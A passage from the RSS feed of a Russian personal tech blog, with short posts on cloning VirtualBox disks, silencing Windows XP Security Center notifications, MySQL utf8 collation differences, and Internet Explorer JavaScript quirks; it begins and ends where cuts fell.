<p>Для использования нескольких виртуальных машин с одинаковыми дисками их необходимо клонировать, т.к. VirtaulBox присваивает дискам UUID и не даст работать с дисками при простом их копировании:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">sudo</span> VBoxManage clonehd image.vdi newimage.vdi</div></div>
<h3>Установка VirtualBox Extension Pack в Debian</h3>
<p>После обновления до версии 4.0.х для работы USB 2.0 и не только необходимо ставить VirtualBox Extension Pack. Скачиваем <a href="http://www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html#extpack">здесь</a> сам пак и устанавливаем</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">sudo</span> VBoxManage extpack <span style="color: #c20cb9; font-weight: bold;">install</span> Oracle_VM_VirtualBox_Extension_Pack-4.0.6-<span style="color: #000000;">71344</span>.vbox-extpack</div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/virtualbox-partition-resize/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Настройка XP</title>
		<link>http://svdev.ru/blog/tuning-xp/</link>
		<comments>http://svdev.ru/blog/tuning-xp/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 07:28:07 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=565</guid>
		<description><![CDATA[Отключить надоедливые уведомления можно редактированием реестра в ветке HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SecurityCenter AntiVirusDisableNotify &#8211; для отключения уведомлений про антивирус FirewallDisableNotify &#8211; для отключения уведомлений насчет Firewall`а UpdatesDisableNotify &#8211; забыть наконец-то про обновления]]></description>
			<content:encoded><![CDATA[<p>Отключить надоедливые уведомления можно редактированием реестра в ветке</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SecurityCenter</div></div>
<p><code class="codecolorer text default"><span class="text">AntiVirusDisableNotify</span></code> &#8211; для отключения уведомлений про антивирус<br />
<code class="codecolorer text default"><span class="text">FirewallDisableNotify</span></code> &#8211; для отключения уведомлений насчет Firewall`а<br />
<code class="codecolorer text default"><span class="text">UpdatesDisableNotify</span></code> &#8211; забыть наконец-то про обновления</p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/tuning-xp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL различные UTF &#8211; utf8_bin и utf8_general_ci</title>
		<link>http://svdev.ru/blog/mysql-different-utf/</link>
		<comments>http://svdev.ru/blog/mysql-different-utf/#comments</comments>
		<pubDate>Wed, 19 May 2010 07:42:14 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=548</guid>
		<description><![CDATA[Чем же отличаются эти два collate для таблиц? utf8_bin &#8211; использует сравнения по двоичным значениям каждого символа utf8_general_ci &#8211; использует сравнения на основе языковых особенностей и игнорирует регистр символов. Для наглядности приведем небольшой эксперимент. CREATE TABLE &#160;peoples &#40; id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY , first_name VARCHAR&#40; 255 &#41; CHARACTER SET utf8 COLLATE [...]]]></description>
			<content:encoded><![CDATA[<p>Чем же отличаются эти два collate для таблиц?<br />
<strong>utf8_bin</strong> &#8211; использует сравнения по двоичным значениям каждого символа<br />
<strong>utf8_general_ci</strong> &#8211; использует сравнения на основе языковых особенностей и игнорирует регистр символов.</p>
<p>Для наглядности приведем небольшой эксперимент.</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> &nbsp;peoples <span style="color: #66cc66;">&#40;</span><br />
id <span style="color: #993333; font-weight: bold;">INT</span> <span style="color: #993333; font-weight: bold;">UNSIGNED</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span> <span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span> <span style="color: #66cc66;">,</span><br />
first_name <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">255</span> <span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">CHARACTER</span> <span style="color: #993333; font-weight: bold;">SET</span> utf8 <span style="color: #993333; font-weight: bold;">COLLATE</span> utf8_general_ci <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #66cc66;">,</span><br />
last_name <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">255</span> <span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">CHARACTER</span> <span style="color: #993333; font-weight: bold;">SET</span> utf8 <span style="color: #993333; font-weight: bold;">COLLATE</span> utf8_bin <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><br />
<span style="color: #66cc66;">&#41;</span> ENGINE <span style="color: #66cc66;">=</span> INNODB <span style="color: #993333; font-weight: bold;">CHARACTER</span> <span style="color: #993333; font-weight: bold;">SET</span> utf8;<br />
<br />
<span style="color: #993333; font-weight: bold;">INSERT</span> <span style="color: #993333; font-weight: bold;">INTO</span> &nbsp;peoples <span style="color: #66cc66;">&#40;</span>first_name<span style="color: #66cc66;">,</span> last_name<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">VALUES</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'Петя'</span><span style="color: #66cc66;">,</span> &nbsp;<span style="color: #ff0000;">'Иванов'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'андрей'</span><span style="color: #66cc66;">,</span> &nbsp;<span style="color: #ff0000;">'иванов'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'Иван'</span><span style="color: #66cc66;">,</span> &nbsp;<span style="color: #ff0000;">'Петров'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'Андрей'</span><span style="color: #66cc66;">,</span> &nbsp;<span style="color: #ff0000;">'Сидоров'</span><span style="color: #66cc66;">&#41;</span>;<br />
<span style="color: #993333; font-weight: bold;">INSERT</span> <span style="color: #993333; font-weight: bold;">INTO</span> &nbsp;peoples <span style="color: #66cc66;">&#40;</span>first_name<span style="color: #66cc66;">,</span> last_name<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">VALUES</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'Петр'</span><span style="color: #66cc66;">,</span> &nbsp;<span style="color: #ff0000;">'Большой'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'Пётр'</span><span style="color: #66cc66;">,</span> &nbsp;<span style="color: #ff0000;">'Большои'</span><span style="color: #66cc66;">&#41;</span>;</div></div>
<p><span id="more-548"></span><br />
Получаем такую вот табличку:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql<span style="color: #66cc66;">&gt;</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> peoples <span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> id <span style="color: #993333; font-weight: bold;">ASC</span>;<br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span><br />
<span style="color: #66cc66;">|</span> id <span style="color: #66cc66;">|</span> first_name &nbsp; <span style="color: #66cc66;">|</span> last_name &nbsp; &nbsp; &nbsp;<span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span><br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">|</span> Петя &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Иванов &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">2</span> <span style="color: #66cc66;">|</span> андрей <span style="color: #66cc66;">|</span> иванов &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">3</span> <span style="color: #66cc66;">|</span> Иван &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Петров &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">4</span> <span style="color: #66cc66;">|</span> Андрей <span style="color: #66cc66;">|</span> Сидоров <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">5</span> <span style="color: #66cc66;">|</span> Петр &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Большой <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">6</span> <span style="color: #66cc66;">|</span> Пётр &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Большои <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span></div></div>
<p>Из-за разности сопоставления символов получаются различия в сортировке, если делать её по полю с <strong>utf8_general_ci</strong> получаем следующее:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql<span style="color: #66cc66;">&gt;</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> &nbsp;peoples <span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> &nbsp;first_name <span style="color: #993333; font-weight: bold;">ASC</span>;<br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span><br />
<span style="color: #66cc66;">|</span> id <span style="color: #66cc66;">|</span> first_name &nbsp; <span style="color: #66cc66;">|</span> last_name &nbsp; &nbsp; &nbsp;<span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span><br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">2</span> <span style="color: #66cc66;">|</span> андрей <span style="color: #66cc66;">|</span> иванов &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">4</span> <span style="color: #66cc66;">|</span> Андрей <span style="color: #66cc66;">|</span> Сидоров <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">3</span> <span style="color: #66cc66;">|</span> Иван &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Петров &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">5</span> <span style="color: #66cc66;">|</span> Петр &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Большой <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">6</span> <span style="color: #66cc66;">|</span> Пётр &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Большои <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">|</span> Петя &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Иванов &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span></div></div>
<p>И не совсем ожидаемым образом отрабатывает запрос с сортировкой по полю <strong>utf8_bin</strong></p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql<span style="color: #66cc66;">&gt;</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> &nbsp;peoples <span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> &nbsp;last_name <span style="color: #993333; font-weight: bold;">ASC</span>;<br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span><br />
<span style="color: #66cc66;">|</span> id <span style="color: #66cc66;">|</span> first_name &nbsp; <span style="color: #66cc66;">|</span> last_name &nbsp; &nbsp; &nbsp;<span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span><br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">6</span> <span style="color: #66cc66;">|</span> Пётр &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Большои <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">5</span> <span style="color: #66cc66;">|</span> Петр &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Большой <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">|</span> Петя &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Иванов &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">3</span> <span style="color: #66cc66;">|</span> Иван &nbsp; &nbsp; <span style="color: #66cc66;">|</span> Петров &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">4</span> <span style="color: #66cc66;">|</span> Андрей <span style="color: #66cc66;">|</span> Сидоров <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">2</span> <span style="color: #66cc66;">|</span> андрей <span style="color: #66cc66;">|</span> иванов &nbsp; <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+--------------+----------------+</span></div></div>
<p>Помимо всего прочего в <strong>utf8_general_ci</strong> некоторые буквы считаются идентичными, например ё = е:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql<span style="color: #66cc66;">&gt;</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> peoples <span style="color: #993333; font-weight: bold;">WHERE</span> first_name<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'Петр'</span>;<br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+------------+----------------+</span><br />
<span style="color: #66cc66;">|</span> id <span style="color: #66cc66;">|</span> first_name <span style="color: #66cc66;">|</span> last_name &nbsp; &nbsp; &nbsp;<span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+------------+----------------+</span><br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">5</span> <span style="color: #66cc66;">|</span> Петр &nbsp; <span style="color: #66cc66;">|</span> Большой <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">|</span> &nbsp;<span style="color: #cc66cc;">6</span> <span style="color: #66cc66;">|</span> Пётр &nbsp; <span style="color: #66cc66;">|</span> Большои <span style="color: #66cc66;">|</span> <br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">----+------------+----------------+</span></div></div>
<p>Отсюда же может появиться и проблема с уникальными ключами. В приведенной структуре уникальный ключ по полю first_name создать не получится, т. к. дублируются значения &laquo;Андрей&raquo; и &laquo;андрей&raquo;, а так же не совсем ожидаемые &laquo;Пётр&raquo; и &laquo;Петр&raquo;.</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql<span style="color: #66cc66;">&gt;</span> <span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">UNIQUE</span> <span style="color: #993333; font-weight: bold;">INDEX</span> uq_peoples_first_name <span style="color: #993333; font-weight: bold;">ON</span> peoples <span style="color: #66cc66;">&#40;</span>first_name<span style="color: #66cc66;">&#41;</span>;<br />
ERROR <span style="color: #cc66cc;">1062</span> <span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">23000</span><span style="color: #66cc66;">&#41;</span>: Duplicate entry <span style="color: #ff0000;">'Пётр'</span> <span style="color: #993333; font-weight: bold;">FOR</span> <span style="color: #993333; font-weight: bold;">KEY</span> <span style="color: #cc66cc;">3</span></div></div>
<p>Зато по полю last_name создастся без проблем, в нем все значения различающиеся:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql<span style="color: #66cc66;">&gt;</span> <span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">UNIQUE</span> <span style="color: #993333; font-weight: bold;">INDEX</span> uq_peoples_last_name <span style="color: #993333; font-weight: bold;">ON</span> peoples <span style="color: #66cc66;">&#40;</span>last_name<span style="color: #66cc66;">&#41;</span>;<br />
Query OK<span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">6</span> <span style="color: #993333; font-weight: bold;">ROWS</span> affected <span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0.06</span> sec<span style="color: #66cc66;">&#41;</span><br />
Records: <span style="color: #cc66cc;">6</span> &nbsp;Duplicates: <span style="color: #cc66cc;">0</span> &nbsp;Warnings: <span style="color: #cc66cc;">0</span></div></div>
<p>С проблемой уникальности я столкнулся при переводе старой таблички с пользователями из cp1251_general_ci в utf8_general_ci &#8211; логины &laquo;Ёлка&raquo; и &laquo;елка&raquo; перестали быть уникальными. Можно было создать эталонное поле utf8_bin (используемое только при авторизации) со значением приведенным к скажем нижнему регистру.</p>
<p>Ну и мануал: <a href="http://dev.mysql.com/doc/refman/5.1/en/charset-unicode-sets.html">Unicode Character Sets</a></p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/mysql-different-utf/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>перебор options в Interner Explorer</title>
		<link>http://svdev.ru/blog/for-options-in-interner-explorer/</link>
		<comments>http://svdev.ru/blog/for-options-in-interner-explorer/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 20:39:48 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[Interner Explorer]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=537</guid>
		<description><![CDATA[При использовании цикла for&#40;i in ...&#41; для перебора элементов списка вида &#60;select name=&#34;city&#34; id=&#34;city-list&#34;&#62; &#160; &#160; &#60;option value=&#34;1&#34;&#62;Москва&#60;/option&#62; &#160; &#160; &#60;option value=&#34;2&#34;&#62;Домодедово&#60;/option&#62; &#60;/select&#62; таким вот образом var obj = document.getElementById&#40;&#34;city-list&#34;&#41;; for &#40;i in obj.options&#41; &#123; &#160; &#160; if &#40;obj.options&#91;i&#93;.value == ...&#41; &#123; &#160; &#160; &#160; &#160; ... &#160; &#160; &#125; &#125; в ишаке получаем ошибку. [...]]]></description>
			<content:encoded><![CDATA[<p>При использовании цикла <code class="codecolorer javascript default"><span class="javascript"><span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i <span style="color: #000066; font-weight: bold;">in</span> ...<span style="color: #009900;">&#41;</span></span></code> для перебора элементов списка вида</p>
<div class="codecolorer-container html4strict vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/select.html"><span style="color: #000000; font-weight: bold;">select</span></a> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;city&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;city-list&quot;</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/option.html"><span style="color: #000000; font-weight: bold;">option</span></a> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span>&gt;</span>Москва<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/option.html"><span style="color: #000000; font-weight: bold;">option</span></a>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/option.html"><span style="color: #000000; font-weight: bold;">option</span></a> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;2&quot;</span>&gt;</span>Домодедово<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/option.html"><span style="color: #000000; font-weight: bold;">option</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/select.html"><span style="color: #000000; font-weight: bold;">select</span></a>&gt;</span></div></div>
<p>таким вот образом</p>
<div class="codecolorer-container javascript vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> obj <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;city-list&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #000066; font-weight: bold;">in</span> obj.<span style="color: #660066;">options</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">options</span><span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">value</span> <span style="color: #339933;">==</span> ...<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; ...<br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>в ишаке получаем ошибку. Переваривается только такой вариант</p>
<div class="codecolorer-container javascript vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> obj <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;city-list&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> obj.<span style="color: #660066;">options</span>.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">options</span><span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">value</span> <span style="color: #339933;">==</span> ...<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; ...<br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Неплохая статья на тему работы со списками: <a href="http://www.tigir.com/javascript_select.htm" target="_blank">Javascript SELECT &#8211; динамические списки</a></p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/for-options-in-interner-explorer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Дэбианщики шутят )</title>
		<link>http://svdev.ru/blog/applet-wanda/</link>
		<comments>http://svdev.ru/blog/applet-wanda/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 15:46:23 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=535</guid>
		<description><![CDATA[Всякого, кто использует этот апплет, нужно отправлять на психиатрическое обследование.]]></description>
			<content:encoded><![CDATA[<p><img src="http://svdev.ru/wp-content/uploads/2010/03/wanda.jpg" alt="" title="wanda" width="382" height="296" class="aligncenter size-full wp-image-534" /><br />
Всякого, кто использует этот апплет, нужно отправлять на психиатрическое обследование.</p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/applet-wanda/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>YUI 2 Dom setAttribute в Interner Explorer</title>
		<link>http://svdev.ru/blog/yui-2-dom-setattribute-interner-explorer/</link>
		<comments>http://svdev.ru/blog/yui-2-dom-setattribute-interner-explorer/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 18:04:53 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[Interner Explorer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[YUI 2]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=525</guid>
		<description><![CDATA[В YUI 2 метод YAHOO.util.Dom.setAttribute() не работает для элементов созданных посредством DOM во всех версиях Interner Explorer (от 6 до 8), например так будет ошибка: var button = document.createElement&#40;&#34;button&#34;&#41;; YAHOO.util.Dom.setAttribute&#40;button, &#34;type&#34;, &#34;button&#34;&#41;; для задания необходимо пользоваться стандартными методами DOM: var button = document.createElement&#40;&#34;button&#34;&#41;; button.setAttribute&#40;&#34;type&#34;, &#34;button&#34;&#41;; Причем остальные методы кроме setAttribute отрабатывают нормально: var button = [...]]]></description>
			<content:encoded><![CDATA[<p>В <a href="http://developer.yahoo.com/yui/2/" target="_blank">YUI 2</a> метод <a href="http://developer.yahoo.com/yui/docs/YAHOO.util.Dom.html#method_setAttribute" target="_blank">YAHOO.util.Dom.setAttribute()</a> не работает для элементов созданных посредством DOM во всех версиях Interner Explorer (от 6 до 8), например так будет ошибка:</p>
<div class="codecolorer-container javascript vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> button <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;button&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
